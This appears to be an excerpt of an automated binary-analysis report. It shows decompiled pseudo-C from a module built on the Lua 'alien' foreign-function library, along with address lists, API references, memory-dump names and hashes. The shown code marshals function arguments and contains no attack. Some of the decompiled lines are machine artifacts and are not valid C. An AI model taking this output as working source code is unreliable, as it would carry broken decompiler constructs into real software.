									__edx =  *__ecx;
									 *(__ebp - 0x18) = __edx;
									__esp = __esp - 8;
									asm("fild dword [ebp-0x18]");
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									 *(__ebp - 0x2c) =  *(__ebp - 0x2c) + 1;
									goto L71;
								case 3:
									L69:
									__fp0 =  *__ebx;
									__esp = __esp - 8;
									 *__esp = __fp0;
									_push(__esi);
									L005E3F80();
									__esp = __esp + 0xc;
									__ebx = __ebx + 8;
									goto L71;
							}
							L71:
							_t271 = _t271 + 1;
						} while (_t271 <  *((intOrPtr*)(_t275 - 0x44)));
						goto L72;
					}
					L38:
					switch( *((intOrPtr*)(_t225 * 4 +  &M005E28C4))) {
						case 0:
							L40:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__edx = __ebp - 0x20;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __ebp - 0x20, __edi, __fp0, __eax,  *(__eax + 4), __ebp - 0x20, __edi);
							__edx =  *(__ebp - 0x20);
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 1:
							L43:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t138 = __ebp - 0x20; // -28
							__edx = _t138;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, _t138, __edi, __fp0, __eax,  *(__eax + 4), _t138, __edi);
							__edx =  *(__ebp - 0x20) & 0x0000ffff;
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 2:
							L42:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t135 = __ebp - 0x20; // -28
							__edx = _t135;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi); // executed
							asm("fild dword [ebp-0x20]");
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 3:
							L48:
							_t145 = __ebp - 0x20; // -28
							__eax = _t145;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t145, __edi);
							asm("fild dword [ebp-0x20]");
							__edx =  *(__ebp - 0x20);
							goto L45;
						case 4:
							L41:
							_t130 = __ebp - 0x54; // -80
							__eax = _t130;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t130, __edi);
							asm("fild dword [ebp-0x54]");
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 5:
							L44:
							_t141 = __ebp - 0x58; // -84
							__eax = _t141;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t141, __edi);
							asm("fild dword [ebp-0x58]");
							__edx =  *(__ebp - 0x58);
							L45:
							if(__edx < 0) {
								__fp0 = __fp0 +  *0x5e5878;
							}
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 6:
							L39:
							E005E4130(_t245, _t261, _t270, _t292,  *((intOrPtr*)(_t275 - 0x14)) + 0x10,  *((intOrPtr*)( *((intOrPtr*)(_t275 - 0x14)) + 4)), 0, _t270);
							_push(_t273);
							L005E3F74();
							_t280 = _t278 + 0x14;
							goto L62;
						case 7:
							L51:
							_t159 = __ebp - 0x50; // -76
							__eax = _t159;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t159, __edi);
							__fp0 =  *(__ebp - 0x50);
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 8:
							L52:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t165 = __ebp - 0x60; // -92
							__edx = _t165;
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__fp0 =  *(__ebp - 0x60);
							__esp = __esp + 8;
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 9:
							L49:
							_t149 = __ebp - 0x20; // -28
							__eax = _t149;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t149, __edi);
							__edx =  *(__ebp - 0x20) & 0x000000ff;
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 0xa:
							L50:
							_t154 = __ebp - 0x20; // -28
							__eax = _t154;
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							__eax = __eax + 0x10;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), _t154, __edi);
							__edx =  *(__ebp - 0x20);
							 *(__ebp - 0x18) = __edx;
							__esp = __esp + 8;
							asm("fild dword [ebp-0x18]");
							 *__esp = __fp0;
							_push(__esi);
							L005E3F80();
							goto L61;
						case 0xb:
							L53:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t169 = __ebp - 0x3c; // -56
							__edx = _t169;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__eax =  *(__ebp - 0x3c);
							if(__eax == 0) {
								goto L55;
							}
							L54:
							_push(__eax);
							_push(__esi);
							L005E3EF0();
							__esp = __esp + 8;
							goto L62;
						case 0xc:
							L56:
							__eax =  *(__ebp - 0x14);
							__ecx =  *(__eax + 4);
							_t173 = __ebp - 0x3c; // -56
							__edx = _t173;
							__eax = E005E4130(__ebx, __edx, __edi, __fp0, __eax,  *(__eax + 4), __edx, __edi);
							__eax =  *(__ebp - 0x3c);
							if(__eax == 0) {
								L55:
								_push(__esi);
								L005E3F74();
								__esp = __esp + 4;
								goto L62;
							}
							L57:
							_push(__eax);
							_push(__esi);
							L005E3F7A();
							__esp = __esp + 8;
							goto L62;
					}
				}
			}

0x005e237e
0x005e237e
0x005e237e
0x005e237e
0x005e237e
0x005e2383
0x005e2388
0x005e238b
0x005e238d
0x005e2392
0x005e2397
0x005e23a9
0x005e23aa
0x005e23ab
0x005e23b0
0x005e23b5
0x005e23d3
0x005e23d4
0x005e23d5
0x005e23da
0x005e23dd
0x005e23e2
0x005e23e5
0x005e23b7
0x005e23b7
0x005e23b9
0x005e23ba
0x005e23bb
0x005e23c0
0x005e23c3
0x005e23c8
0x005e23cb
0x005e23cb
0x005e2399
0x005e2399
0x005e239c
0x005e239e
0x005e23a1
0x005e23a1
0x005e24ec
0x005e24ec
0x005e24ec
0x005e24f0
0x005e24f3
0x005e24f3
0x005e24f7
0x00000000
0x00000000
0x005e2071
0x005e2071
0x005e207a
0x005e2080
0x005e24d0
0x005e24d0
0x005e24d5
0x005e24d7
0x005e24d7
0x005e24dc
0x005e24dd
0x005e24de
0x005e24e3
0x005e24e4
0x005e24e9
0x00000000
0x005e24e9
0x005e2086
0x005e2086
0x00000000
0x005e208d
0x005e2092
0x005e2097
0x005e209a
0x005e209b
0x005e209c
0x005e20a1
0x005e20a4
0x005e20a9
0x005e20ac
0x005e20af
0x005e20b2
0x00000000
0x00000000
0x005e2112
0x005e2117
0x005e211c
0x005e211f
0x005e2120
0x005e2121
0x005e2126
0x005e2129
0x005e212d
0x005e2130
0x005e2133
0x005e2138
0x005e213b
0x005e213e
0x005e2141
0x005e2148
0x005e214b
0x005e214e
0x00000000
0x00000000
0x005e20e6
0x005e20e6
0x005e20eb
0x005e20f0
0x005e20f3
0x005e20f4
0x005e20f5
0x005e20fa
0x005e20fd
0x005e2102
0x005e2105
0x005e2108
0x005e210a
0x00000000
0x00000000
0x005e2198
0x005e219d
0x005e21a2
0x005e21a5
0x005e21a6
0x005e21a7
0x005e21ac
0x005e21af
0x005e21b3
0x005e21b6
0x005e21b9
0x005e21be
0x005e21c1
0x005e21c4
0x005e21c7
0x005e21ca
0x005e21cd
0x005e21cf
0x005e21d2
0x00000000
0x00000000
0x005e20ba
0x005e20ba
0x005e20bf
0x005e20c4
0x005e20c7
0x005e20c8
0x005e20c9
0x005e20ce
0x005e20d1
0x005e20d6
0x005e20d9
0x005e20db
0x005e20de
0x00000000
0x00000000
0x005e2156
0x005e215b
0x005e2160
0x005e2163
0x005e2164
0x005e2165
0x005e216a
0x005e216d
0x005e2171
0x005e2174
0x005e2177
0x005e217c
0x005e217f
0x005e2182
0x005e2185
0x005e2188
0x005e218b
0x005e218d
0x005e2190
0x00000000
0x00000000
0x00000000
0x00000000
0x005e2228
0x005e222d
0x005e2232
0x005e2235
0x005e2236
0x005e2237
0x005e223c
0x005e223f
0x005e2242
0x005e2244
0x005e2247
0x00000000
0x00000000
0x005e224f
0x005e2254
0x005e2259
0x005e225c
0x005e225d
0x005e225e
0x005e2263
0x005e2266
0x005e2269
0x005e226b
0x005e226e
0x00000000
0x00000000
0x005e21da
0x005e21df
0x005e21e4
0x005e21e7
0x005e21e8
0x005e21e9
0x005e21ee
0x005e21f1
0x005e21f3
0x005e21f6
0x005e21f9
0x00000000
0x00000000
0x005e2201
0x005e2201
0x005e2206
0x005e220b
0x005e220e
0x005e220f
0x005e2210
0x005e2215
0x005e2218
0x005e221b
0x005e221d
0x005e2220
0x00000000
0x00000000
0x005e2276
0x005e2276
0x005e227b
0x005e2280
0x005e2283
0x005e2284
0x005e2285
0x005e228a
0x005e228f
0x005e2290
0x005e2291
0x005e22cd
0x005e22d2
0x005e22d7
0x005e22eb
0x005e22ed
0x005e22ee
0x005e22ef
0x005e22f4
0x005e22f7
0x005e22fa
0x005e22fc
0x005e22fe
0x005e2301
0x005e22d9
0x005e22d9
0x005e22dc
0x005e22df
0x005e22e1
0x005e22e3
0x005e22e3
0x005e2293
0x005e2293
0x005e2298
0x005e229d
0x005e22b1
0x005e22b2
0x005e22b3
0x005e22b8
0x005e22bb
0x005e22bd
0x005e22bf
0x005e22c2
0x005e22c5
0x005e229f
0x005e229f
0x005e22a2
0x005e22a4
0x005e22a6
0x005e22a9
0x005e22a9
0x005e229d
0x00000000
0x00000000
0x00000000
0x00000000
0x005e23ed
0x005e23ed
0x005e23ee
0x005e23ef
0x005e23f4
0x005e23f7
0x005e23fc
0x005e23ff
0x005e2406
0x005e240b
0x005e240e
0x005e2411
0x005e2413
0x005e2415
0x005e2418
0x005e241b
0x00000000
0x00000000
0x005e2423
0x005e2423
0x005e2424
0x005e2425
0x005e242a
0x005e242d
0x005e2431
0x005e2434
0x005e2439
0x005e243c
0x005e243f
0x005e2442
0x005e2445
0x005e2448
0x005e244a
0x005e244f
0x005e2452
0x005e2457
0x005e245a
0x005e245d
0x005e245f
0x005e2461
0x005e2464
0x005e2467
0x00000000
0x00000000
0x005e246f
0x005e246f
0x005e2470
0x005e2471
0x005e2476
0x005e2479
0x005e247e
0x005e2481
0x005e2488
0x005e248d
0x005e2490
0x005e2493
0x005e2495
0x005e2497
0x005e249a
0x005e249d
0x00000000
0x00000000
0x005e24a2
0x005e24a2
0x005e24a3
0x005e24a4
0x005e24a9
0x005e24ac
0x005e24ae
0x005e24b6
0x005e24bb
0x005e24be
0x005e24c1
0x005e24c3
0x005e24c5
0x005e24c8
0x005e24cb
0x00000000
0x00000000
0x005e2309
0x005e2309
0x005e230e
0x005e2313
0x005e231b
0x005e2325
0x005e233e
0x005e2348
0x005e235d
0x005e2362
0x005e2363
0x005e2364
0x005e2369
0x005e236c
0x005e236f
0x005e2372
0x005e2374
0x005e2376
0x005e234a
0x005e234a
0x005e234d
0x005e2350
0x005e2353
0x005e2355
0x005e2355
0x005e2327
0x005e2327
0x005e2329
0x005e232c
0x005e232f
0x005e2331
0x005e2331
0x00000000
0x00000000
0x005e2086
0x005e24fd
0x005e24fd
0x005e2500
0x005e2507
0x005e250d
0x005e2753
0x005e2753
0x005e2758
0x005e275a
0x005e275a
0x005e275f
0x005e2760
0x005e2765
0x005e2766
0x005e276b
0x005e276b
0x005e276e
0x005e278a
0x005e2790
0x005e2795
0x005e279d
0x005e27a0
0x005e2843
0x005e2858
0x005e2859
0x005e285a
0x005e2868
0x00000000
0x00000000
0x00000000
0x005e27a6
0x005e27a6
0x005e27af
0x005e27b5
0x00000000
0x00000000
0x005e27bb
0x005e27bb
0x00000000
0x005e27c2
0x005e27c5
0x005e27c7
0x005e27ca
0x005e27cd
0x005e27ce
0x005e27d3
0x005e27d6
0x00000000
0x00000000
0x005e27dc
0x005e27dc
0x005e27df
0x005e27e1
0x005e27e5
0x005e27e7
0x005e27e7
0x005e27ed
0x005e27f0
0x005e27f3
0x005e27f4
0x005e27f9
0x005e27fc
0x00000000
0x00000000
0x005e2818
0x005e2818
0x005e281b
0x005e281e
0x005e2821
0x005e2824
0x005e2827
0x005e282a
0x005e282b
0x005e2830
0x005e2833
0x00000000
0x00000000
0x005e2802
0x005e2802
0x005e2804
0x005e2807
0x005e280a
0x005e280b
0x005e2810
0x005e2813
0x00000000
0x00000000
0x005e2837
0x005e2837
0x005e283a
0x00000000
0x005e27a6
0x005e2513
0x005e2513
0x00000000
0x005e253b
0x005e253b
0x005e253e
0x005e2542
0x005e2547
0x005e254b
0x005e2550
0x005e2554
0x005e2557
0x005e255a
0x005e255d
0x005e2560
0x005e2561
0x00000000
0x00000000
0x005e25bd
0x005e25bd
0x005e25c0
0x005e25c4
0x005e25c4
0x005e25c9
0x005e25cd
0x005e25d2
0x005e25d6
0x005e25d9
0x005e25dc
0x005e25df
0x005e25e2
0x005e25e3
0x00000000
0x00000000
0x005e2594
0x005e2594
0x005e2597
0x005e259b
0x005e259b
0x005e25a0
0x005e25a4
0x005e25a9
0x005e25ac
0x005e25af
0x005e25b2
0x005e25b3
0x00000000
0x00000000
0x005e2623
0x005e2624
0x005e2624
0x005e2628
0x005e262b
0x005e262f
0x005e2633
0x005e2638
0x005e263b
0x00000000
0x00000000
0x005e256b
0x005e256c
0x005e256c
0x005e2570
0x005e2573
0x005e2577
0x005e257b
0x005e2580
0x005e2583
0x005e2586
0x005e2589
0x005e258a
0x00000000
0x00000000
0x005e25ed
0x005e25ee
0x005e25ee
0x005e25f2
0x005e25f5
0x005e25f9
0x005e25fd
0x005e2602
0x005e2605
0x005e2608
0x005e260a
0x005e260c
0x005e260c
0x005e2612
0x005e2615
0x005e2618
0x005e2619
0x00000000
0x00000000
0x005e251a
0x005e2528
0x005e252d
0x005e252e
0x005e2533
0x00000000
0x00000000
0x005e26a0
0x005e26a1
0x005e26a1
0x005e26a5
0x005e26a8
0x005e26ac
0x005e26b0
0x005e26b5
0x005e26b8
0x005e26bb
0x005e26be
0x005e26bf
0x00000000
0x00000000
0x005e26c9
0x005e26c9
0x005e26cc
0x005e26d0
0x005e26d0
0x005e26d5
0x005e26d9
0x005e26de
0x005e26e1
0x005e26e4
0x005e26e7
0x005e26e8
0x00000000
0x00000000
0x005e2640
0x005e2641
0x005e2641
0x005e2645
0x005e2648
0x005e264c
0x005e2650
0x005e2655
0x005e2659
0x005e265c
0x005e265f
0x005e2662
0x005e2665
0x005e2666
0x00000000
0x00000000
0x005e2670
0x005e2671
0x005e2671
0x005e2675
0x005e2678
0x005e267c
0x005e2680
0x005e2685
0x005e2689
0x005e268c
0x005e268f
0x005e2692
0x005e2695
0x005e2696
0x00000000
0x00000000
0x005e26f2
0x005e26f2
0x005e26f5
0x005e26f9
0x005e26f9
0x005e2702
0x005e2707
0x005e270f
0x00000000
0x00000000
0x005e2711
0x005e2711
0x005e2712
0x005e2713
0x005e2718
0x00000000
0x00000000
0x005e2728
0x005e2728
0x005e272b
0x005e272f
0x005e272f
0x005e2738
0x005e273d
0x005e2745
0x005e271d
0x005e271d
0x005e271e
0x005e2723
0x00000000
0x005e2723
0x005e2747
0x005e2747
0x005e2748
0x005e2749
0x005e274e
0x00000000
0x00000000
0x005e2513

APIs

lua_type.LUA5.1 ref: 005E238D
lua_isstring.LUA5.1 ref: 005E23AB
lua_pushnil.LUA5.1(?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005E252E
lua_tolstring.LUA5.1(?,?,00000000), ref: 005E23BB

Part of subcall function 005E4130: __alloca_probe_16.LIBCMT ref: 005E4160

lua_pushnumber.LUA5.1(?), ref: 005E27CE
lua_pushnumber.LUA5.1(?), ref: 005E27F4
lua_pushnumber.LUA5.1(?), ref: 005E280B
lua_pushnumber.LUA5.1(?), ref: 005E282B

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushnumber.$__alloca_probe_16lua_isstring.lua_pushnil.lua_tolstring.lua_type.
String ID:
API String ID: 2112894905-0
Opcode ID: fa369d90a1ac232dbdd688f47325a3bb14b2c3d3f134c7d58431fec67130e6b8
Instruction ID: 16cc6c57ecd411e0dabc1c0ad62521015d26e8a23c754b8b6cc035eb6f72fdda
Opcode Fuzzy Hash: fa369d90a1ac232dbdd688f47325a3bb14b2c3d3f134c7d58431fec67130e6b8
Instruction Fuzzy Hash: C1C1C4B5D04149ABCB08EB95DC89DEEBFB8FF89300F148448F481B7246DA389A15CB65

Uniqueness

Uniqueness Score: -1.00%

Function 005E2423, Relevance: 25.8, APIs: 17, Instructions: 327
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E005E2423(void* __edi, long long __fp0) {
				signed int* __ebx;
				void* __esi;
				intOrPtr* _t224;
				signed int _t226;
				char* _t227;
				signed int _t228;
				char* _t229;
				signed int _t240;
				void* _t247;
				void* _t249;
				intOrPtr _t251;
				intOrPtr _t253;
				intOrPtr _t254;
				void* _t273;
				signed int _t274;
				void* _t275;
				void* _t277;
				signed int _t278;
				void* _t280;
				intOrPtr* _t281;
				void* _t282;
				long long _t292;

				L0:
				while(1) {
					L0:
					_t292 = __fp0;
					_t273 = __edi;
					_push(_t247);
					L005E3F68();
					asm("fnstcw word [ebp-0xe]");
					 *(_t278 - 0x18) =  *(_t278 - 0xe) & 0x0000ffff | 0x00000c00;
					_t281 = _t280 + 8;
					asm("fldcw word [ebp-0x18]");
					asm("fistp qword [ebp-0x1c]");
					 *((intOrPtr*)( *((intOrPtr*)(_t278 - 0x28)))) =  *((intOrPtr*)(_t278 - 0x1c));
					asm("fldcw word [ebp-0xe]");
					E005E46A0(4);
					_t251 =  *((intOrPtr*)(_t278 - 0x28));
					_t224 = _t281;
					 *_t224 = _t251;
					 *((intOrPtr*)( *((intOrPtr*)(_t278 - 0xc)) + __edi)) = _t224;
					 *((intOrPtr*)(_t278 - 0x28)) = _t251 + 4;
					while(1) {
						L36:
						 *((intOrPtr*)(_t278 - 0xc)) =  *((intOrPtr*)(_t278 - 0xc)) + 4;
						_t247 = _t247 + 1;
						_t116 = _t278 - 0x4c;
						 *_t116 =  *((intOrPtr*)(_t278 - 0x4c)) - 1;
						if( *_t116 == 0) {
							break;
						}
						L1:
						_t253 =  *((intOrPtr*)(_t278 - 0x14));
						_t264 =  *((intOrPtr*)(_t253 + 0x30));
						_t226 =  *( *((intOrPtr*)(_t278 - 0xc)) +  *((intOrPtr*)(_t253 + 0x30)));
						if(_t226 > 0x11) {
							L33:
							_t227 =  *(_t253 + 8);
							if(_t227 == 0) {
								_t227 = "anonymous";
							}
							_push(_t227);
							_push(_t247);
							_push("alien: parameter %i is of unknown type (function %s)");
							_push(_t276);
							L005E3F26();
							_t281 = _t281 + 0x10;
							continue;
						}
						L2:
						switch( *((intOrPtr*)(_t226 * 4 +  &M005E287C))) {
							case 0:
								L3:
								_t245 = E005E46A0(4);
								 *((intOrPtr*)(_t278 - 8)) = _t281;
								_push(_t247);
								_push(_t276);
								L005E3F68();
								_t281 = _t281 + 8;
								_t246 = E005E45C0(_t245, _t292);
								_t263 =  *((intOrPtr*)(_t278 - 8));
								_t264 =  *((intOrPtr*)(_t278 - 0xc));
								 *_t263 = _t246;
								 *((intOrPtr*)( *((intOrPtr*)(_t278 - 0xc)) + _t273)) = _t263;
								goto L36;
							case 1:
								L6:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp dword [ebp-0x18]");
								 *__eax =  *(__ebp - 0x18);
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 2:
								L5:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__ecx = __eax;
								 *(__edx + __edi) = __ecx;
								goto L36;
							case 3:
								L8:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__ecx =  *(__ebp - 0x1c);
								 *__eax = __ecx;
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 4:
								L4:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 8);
								 *__ecx = __eax;
								__eax =  *(__ebp - 0xc);
								 *(__eax + __edi) = __ecx;
								goto L36;
							case 5:
								L7:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								asm("fnstcw word [ebp-0xe]");
								__eax =  *(__ebp - 0xe) & 0x0000ffff;
								__edx =  *(__ebp - 0xc);
								__esp = __esp + 8;
								__eax =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								 *(__ebp - 0x18) =  *(__ebp - 0xe) & 0x0000ffff | 0x00000c00;
								__eax =  *(__ebp - 8);
								asm("fldcw word [ebp-0x18]");
								asm("fistp qword [ebp-0x1c]");
								__ecx =  *(__ebp - 0x1c);
								 *__eax = __ecx;
								 *(__edx + __edi) = __eax;
								asm("fldcw word [ebp-0xe]");
								goto L36;
							case 6:
								goto L33;
							case 7:
								L11:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 8);
								__ecx =  *(__ebp - 0xc);
								 *__eax = __fp0;
								__esp = __esp + 8;
								 *(__ecx + __edi) = __eax;
								goto L36;
							case 8:
								L12:
								8 = E005E4686(8);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__eax = __fp0;
								__esp = __esp + 8;
								 *(__edx + __edi) = __eax;
								goto L36;
							case 9:
								L9:
								4 = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F62();
								__ecx =  *(__ebp - 8);
								 *__ecx = __al;
								__eax =  *(__ebp - 0xc);
								__esp = __esp + 8;
								 *(__eax + __edi) = __ecx;
								goto L36;
							case 0xa:
								L10:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F62();
								__ecx =  *(__ebp - 8);
								__edx =  *(__ebp - 0xc);
								 *__ecx = __al;
								__esp = __esp + 8;
								 *(__edx + __edi) = __ecx;
								goto L36;
							case 0xb:
								L13:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F50();
								__esp = __esp + 8;
								_push(__ebx);
								_push(__esi);
								if(__eax == 0) {
									L005E3F4A();
									__esp = __esp + 8;
									if(__eax != 0) {
										_push(0);
										_push(__ebx);
										_push(__esi);
										L005E3F5C();
										__edx =  *(__ebp - 8);
										__ecx =  *(__ebp - 0xc);
										 *__edx = __eax;
										__eax = __edx;
										__esp = __esp + 0xc;
										 *(__ecx + __edi) = __eax;
									} else {
										__edx =  *(__ebp - 8);
										__ecx =  *(__ebp - 0xc);
										 *__edx = __eax;
										__eax = __edx;
										 *(__ecx + __edi) = __eax;
									}
								} else {
									L005E3F4A();
									__esp = __esp + 8;
									if(__eax != 0) {
										_push(__ebx);
										_push(__esi);
										L005E3F0E();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax = __ecx;
										__ecx =  *(__ebp - 0xc);
										__esp = __esp + 8;
										 *(__ecx + __edi) = __eax;
									} else {
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax = __ecx;
										__ecx =  *(__ebp - 0xc);
										 *(__ecx + __edi) = __eax;
									}
								}
								goto L36;
							case 0xc:
								L25:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								_push(__ebx);
								_push(__esi);
								L005E3F4A();
								__esp = __esp + 8;
								if(__eax != 0) {
									_push(__ebx);
									_push(__esi);
									L005E3F56();
									__esp = __esp + 8;
									if(__eax == 0) {
										_push(__ebx);
										_push(__esi);
										L005E3F0E();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax =  *(__ebp - 0xc);
										__esp = __esp + 8;
										 *(__eax + __edi) = __ecx;
									} else {
										_push(0);
										_push(__ebx);
										_push(__esi);
										L005E3F5C();
										__ecx =  *(__ebp - 8);
										 *__ecx = __eax;
										__eax =  *(__ebp - 0xc);
										__esp = __esp + 0xc;
										 *(__eax + __edi) = __ecx;
									}
								} else {
									__ecx =  *(__ebp - 8);
									 *__ecx = __eax;
									__eax =  *(__ebp - 0xc);
									 *(__eax + __edi) = __ecx;
								}
								goto L36;
							case 0xd:
								L30:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 0x24);
								 *( *(__ebp - 0x24)) = __eax;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x24);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx =  &(__ecx[1]);
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x24) = __ecx;
								goto L36;
							case 0xe:
								goto L0;
							case 0xf:
								L31:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__esp = __esp + 8;
								__eax = E005E45C0(__eax, __fp0);
								__ecx =  *(__ebp - 0x2c);
								 *( *(__ebp - 0x2c)) = __al;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x2c);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx =  &(__ecx[0]);
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x2c) = __ecx;
								goto L36;
							case 0x10:
								L32:
								_push(__ebx);
								_push(__esi);
								L005E3F68();
								__eax =  *(__ebp - 0x40);
								 *( *(__ebp - 0x40)) = __fp0;
								__esp = __esp + 8;
								4 = E005E46A0(4);
								__ecx =  *(__ebp - 0x40);
								__edx =  *(__ebp - 0xc);
								__eax = __esp;
								 *__eax = __ecx;
								__ecx =  &(__ecx[2]);
								 *(__edx + __edi) = __eax;
								 *(__ebp - 0x40) = __ecx;
								goto L36;
							case 0x11:
								L20:
								__eax = 4;
								__eax = E005E46A0(4);
								 *(__ebp - 8) = __esp;
								__eax = E005E1110(__eax, __ebx, __esi, "alien_callback");
								if(__eax == 0) {
									__eax = E005E1110(__eax, __ebx, __esi, "alien_function");
									if(__eax == 0) {
										_push("alien function or callback expected");
										_push(__ebx);
										_push(__esi);
										L005E3F14();
										__ecx =  *(__ebp - 8);
										__edx =  *(__ebp - 0xc);
										__esp = __esp + 0xc;
										__eax = 0;
										 *__ecx = 0;
										 *(__edx + __edi) = __ecx;
									} else {
										__eax =  *(__eax + 4);
										__ecx =  *(__ebp - 8);
										__edx =  *(__ebp - 0xc);
										 *__ecx = __eax;
